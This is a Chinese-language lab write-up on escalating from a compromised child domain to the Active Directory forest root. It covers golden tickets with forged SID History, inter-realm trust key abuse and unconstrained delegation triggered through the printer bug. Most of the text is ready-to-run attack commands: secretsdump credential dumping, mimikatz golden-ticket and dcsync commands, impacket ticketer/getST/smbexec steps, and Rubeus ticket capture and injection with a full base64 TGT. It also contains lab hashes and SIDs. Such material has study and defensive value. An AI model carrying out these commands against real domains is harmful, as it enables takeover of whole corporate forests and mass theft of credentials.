-
子域控 ip:192.168.72.155,host:WIN-OKJSS035GMG,domain:guangzhou.HACKER.com
-
根域控 ip:192.168.72.163,host:WIN-0V0GAORDC17,domain:HACKER.com
-
域内攻击者机器 ip:192.168.72.158,host:WIN10-01
-
攻击者 kali 机器 ip:192.168.72.162
SID History
根据微软的描述,SID History 属性是微软对域内用户进行域迁移的支持而创建的。每当对象从一个域移动到另一个域时,都会创建一个新的 SID,并且该新 SID 将成为 objectSID。先前的 SID 会添加到 SID History 属性中,以确保该用户迁移后仍然能访问迁移前能访问的资源。
跨域横向
假设我们已经拿到了 guangzhou.HACKER.com 域控和域管理员权限,我们的目标是横向到 HACKER.com 的域控( guangzhou.HACKER.com 域控没有 HACKER.com 的 Dcsync 权限)。
-
获取子域所有用户 hash 。
-
黄金票据 + SID History 获得林根域权限。
-
inter-realm key + SID History 获得林根域权限。
获取子域所有用户 hash
# 导出 guangzhou.HACKER.com 域中 krbtgt 哈希。 python secretsdump.py guangzhou/administrator:p-0p-0p-0@192.168.72.155 -just-dc-user "guangzhou\krbtgt" # 导出 guangzhou.HACKER.com 域所有用户哈希。 python secretsdump.py guangzhou/administrator:p-0p-0p-0@192.168.72.155 -just-dc
子域的 krbtgt 的 tgt 黄金票据 + SID History 获得林根域权限
攻击者在本地离线生成黄金票据时,可以伪造一个包含敏感组 SID 的 SID History 的 tgt,从而提升权限。
-
伪造一个黄金票据 tgt。
-
在黄金票据的 PAC 上伪造一个包含林根域 HACKER.com 敏感组 SID 的 SID History。
-
使用 krbtgt 用户 hash 伪造合法的签名 serverchecksum 和 privsvrchecksum。
条件
-
获得当前域 guangzhou.HACKER.com 的域 SID。
-
获得目标域 HACKER.com 的 Enterprise Admins 的 SID。
-
获得当前域 guangzhou.HACKER.com 的 krbtgt 哈希。
# 离线生成一个用户为 guangzhou 域管理员,服务为 guangzhou 域的 krbtgt 服务的黄金票据,但由于 pac 中存在包含林根域敏感组 SID 的 SID History,所以这个黄金票据还能访问林根域。 kerberos::golden /user:administrator /domain:guangzhou.HACKER.com /sid:S-1-5-21-2350357979-2733933834-3138631645 /krbtgt:0285f8e6ce9bb6d2d19d7923ece179d1 /sids:S-1-5-21-2300517204-3404117977-1485978427-519 /ptt lsadump::dcsync /domain:HACKER.com /user:HACKER\krbtgt /csv
注意:DNS 服务器和备用 DNS 服务器设置为根域控和子域控,否则实验时攻击老是出错。
inter-realm key 的 tgt 黄金票据 + SID History 获得林根域权限
当向域林中添加子域 guangzhou.HACKER.com 的时候,父域 HACKER.com 会出现 guangzhou$ 账号,子域会出现 HACKER$ 账号。而子域 guangzhou.HACKER.com 中的 guangzhou$ 账号的哈希就是 inter-realm key。在微软的设计下,子域可以使用 guangzhou$ 账号的 tgt 访问父域,我们可以使用 guangzhou$ 账号的哈希离线生成一个包含高权限 SID History 的 pac 的 tgt 访问父域,导致权限提升。
条件
-
获得当前域 guangzhou.HACKER.com 的域 SID 。
-
获得目标域 HACKER.com 的 Enterprise Admins 的 SID 。
-
获得当前域 guangzhou.HACKER.com 和目标域 HACKER.com 共享的 inter-realm key 。
mimikatz 获得 inter-realm key
#在 guangzhou.HACKER.com 域控制器上通过 mimikatz 执行如下命令获得 inter-realm key 的值 mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit"
# 使用 secretsdump 执行如下命令导出该信任用户 HACKER$ 的哈希,它的哈希就是 inter-realm key 。 python secretsdump.py guangzhou/administrator:p-0p-0p-0@192.168.72.155 -just-dc-user "guangzhou\HACKER$"
impacket攻击
通过上面手段获得 inter-realm key 后,可以利用 impacket 执行如下命令进行攻击:
# 离线生成高权限的黄金票据 tgt。 python ticketer.py -nthash 14cf4fc31c0421e6dcea6c84c29b72e1 -domain-sid S-1-5-21-2350357979-2733933834-3138631645 -extra-sid S-1-5-21-2300517204-3404117977-1485978427-519 -domain guangzhou.HCAKER.com -spn krbtgt/HACKER.com administrator # 导入票据。 export KRB5CCNAME=administrator.ccache # 请求 administrator 用户的 cifs/WIN-0V0GAORDC17.HACKER.com 的 ST 服务票据。 python getST.py -debug -k -no-pass -spn cifs/WIN-0V0GAORDC17.HACKER.com -dc-ip 192.168.72.163 HACKER.com/administrator # 远程连接林根域控。 python smbexec.py -no-pass -k HACKER.com/administrator@WIN-0V0GAORDC17.HACKER.com # 导出林根域内 krbtgt 的哈希。 python secretsdump.py -no-pass -k HACKER.com/administrator@WIN-0V0GAORDC17.HACKER.com -just-dc-user "HACKER\krbtgt"
mimikatz攻击
通过上面手段获得 inter-realm key 后,可以利用 impacket 执行如下命令进行攻击:
# 生成高权限的黄金票据。 kerberos::golden /user:administrator /domain:guangzhou.HACKER.com /sid:S-1-5-21-2350357979-2733933834-3138631645 /krbtgt:14cf4fc31c0421e6dcea6c84c29b72e1 /sids:S-1-5-21-2300517204-3404117977-1485978427-519 /service:krbtgt /target:HACKER.com /ptt # 请求 administrator 用户的 cifs/WIN-0V0GAORDC17.HACKER.com 的 ST 服务票据,并导入。 Rubeus.exe asktgs /service:cifs/WIN-0V0GAORDC17.HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /ticket:ticket.kirbi /ptt # 导出林根域内所有用户的 hash。 lsadump::dcsync /domain:HACKER.com /user:HACKER\krbtgt /csv # 尝试访问林根域。 dir \\WIN-0V0GAORDC17.HACKER.com\c$
离线生成 inter-realm key 的黄金票据 tgt :
请求 administrator 用户的 cifs/WIN-0V0GAORDC17.HACKER.com 的 ST 服务票据,并导入:
导入的票据截图:
尝试访问林根域:
非约束性委派获取林根域权限
非约束性委派机制可见:域内的三种委派方式_域控委派控制任务-CSDN博客
域控制器默认配置了非约束性委派的选项。因此当我们控制了子域的域控制器后,我们可以利用子域的域控制器来进行非约束性委派的攻击。原理是目标域管理员作为用户访问当前子域的域控,目标域管理员会请求一个可转发的tgt给子域的域控,我们利用这个tgt以目标域管理员用户身份访问任何服务
-
子域域控:WIN-OKJSS035GMG
-
要攻击的根域域控:WIN-0V0GAORDC17
# 首先在子域域控制器上执行如下命令进行监听来自 WIN-0V0GAORDC17 的票据。 Rubeus.exe monitor /interval:1 /filteruser:WIN-0V0GAORDC17$ /nowrap # 然后在子域域控制器上执行如下命令使用打印机服务漏洞攻击林根域域控DC02,使其强制回连认证我们的子域域控制器 sh-DC01。 SpoolSample.exe WIN-0V0GAORDC17 WIN-OKJSS035GMG # 攻击完成后可以看到我们的 Rubeus 已经收到来自 DC02 的 base64 的 TGT认购权证了。 # 使用 Rubeus 执行如下命令导入这个 base64 的 TGT 认购权证,就可以使用 mimikatz 导出林根域的所有用户 hash 了。 Rubeus.exe ptt /ticket:doIFbjCCBWqgAwIBBaEDAgEWooIEcTCCBG1hggRpMIIEZaADAgEFoQwbCkhBQ0tFUi5DT02iHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkhBQ0tFUi5DT02jggQtMIIEKaADAgESoQMCAQKiggQbBIIEFzYQFUF7YC9JCYeocW393hB9r5ooPIyiVl/2bIWVzqHUiPSjerR//oQ3LzUmCjLKcpXLqtWB9Eq7l1iDpYTbTqJ15PxDRwpwWE1irKOfq1a7ITfK+HCmFJbJVkAdQanQQIwhPXxuAen4ryeHudKjtsdV9EVLQuMNuOJsRbqCnoEVoUNljntB/m/T1m+pVyZ8eSjhc8xIkPkqvci7vF/QxedtcZWorgfM0eHBzosWAhtXElHvXcrk6nc6ch5uck2xTkk6i06XeZEOYjTw+/FEuYchcR8OHjjWt9KMujeAuwp4Y3Ya5BNgl6VsKslUp4LRAA1Qryv4uekzMcQJYEhn6DYxxo0xLXYG0XLHehlLNpANCry4wfj18JCgdh5tUKnbzNTKWvBD1/jlg6b9kXtDiup4NeXYU/Ii2jz0WQsgMnjSekH0tFUF19+1UyiXykFS89YXNuuksmnCTjgmc3F0W0zSt0WJgmPJeKibunhNus7jLIo7NUOO/E9i+/3a6G4fzDqRiKwl3FkmB3EVrk8WrTSzPToLFAqZiPDL4u56BJRW6Jw/bpToGhN1Vj8pblMnceimNsym77fPL5uZgpNxXZ0wsoz1Ub7FmyV2B8BVLmU8u9Bq5l/He1NUZf/79/NlpkDKYRCX5ClueFnmdUjJcCOo+sjc8yIMKq9TKaJTaZ7e9AyHSvTErvpVkvEr4bNyfEo/hv4K9plnfOpdbt1CGyBTEjVX1IpLcsdlJKcTksv2rbdVfCeTEfZHuzxF+ZADci5IVJ2x/IttSFjJ4KLRfTuPYe1U5qdX4i6YJuY9wG07puWEMnel/2tvTmchzaTS6bZw77LPN+e7iOMNsPBU6EfE9W4tXgXnTDf91eu3r7EG3SjnE3RWxSYSaTl1c3WD7HeqidQDzcVprtICG8rxx2L5ruwVUc2i51aqFVXyyF/jMxZwaa5u26/pN759PeNpTNz5VT2SV2YUEqxuDXKH+j6xijg5XKe0+EytEqK9iOBTy/k1X90keT2EV2/5ikk6lm/LuIu+4To/sWd5jqmUCKGiySDikeOUphDglqblPLuu3egNpKFVsmfTKW7g3hjypvZSqj+NrlRDS4tA/J8hA+38a65kOIxnDwqi9yMx269ooDZJ2G4RcvpNgXnvo0SCKfOBDP2VAQNAkpmG0lfuiwR4o8j2undS0qNg1Z6FDhAY36zD8t4twHCvK5POs8pBO3HJ+gbBBRHw3WIaDfjt0K7ejMmFMT1ph+O1KFzgP8hBh30DPOCEfaWPuAFKFLpmUwTpT3tCey/JLcQjOYpVlRWTP8JmuQyH9Jg3k3n/JK9nApZjds9ybzePb9J8HPk8rSdkJ5NDowyPVHAq2HKXS8zO2zTgxlQYjZx3nVhQDzh/cgUPFXvgY6OB6DCB5aADAgEAooHdBIHafYHXMIHUoIHRMIHOMIHLoCswKaADAgESoSIEICT4EiBkeLF0vwvZnA4s2K5YKJ6Phk+2vSlszafIOqQvoQwbCkhBQ0tFUi5DT02iHTAboAMCAQGhFDASGxBXSU4tMFYwR0FPUkRDMTckowcDBQBgoQAApREYDzIwMjUwMTI3MTA1MjMxWqYRGA8yMDI1MDEyNzIwNTIzMVqnERgPMjAyNTAyMDMxMDUyMzFaqAwbCkhBQ0tFUi5DT02pHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkhBQ0tFUi5DT00= mimikatz.exe "lsadump::dcsync /domain:HACKER.com /user:HACKER\krbtgt /csv" "exit"
注意:实验时要设置主域控的备用 DNS 为子域控 ip ,以方便 SpoolSample 打印机漏洞能正常攻击。
SpoolSample 攻击后 Rubeus 监听截图:
mimikatz 导入好接收的 tgt 进行攻击导出父域 krbtgt 账户的哈希的截图: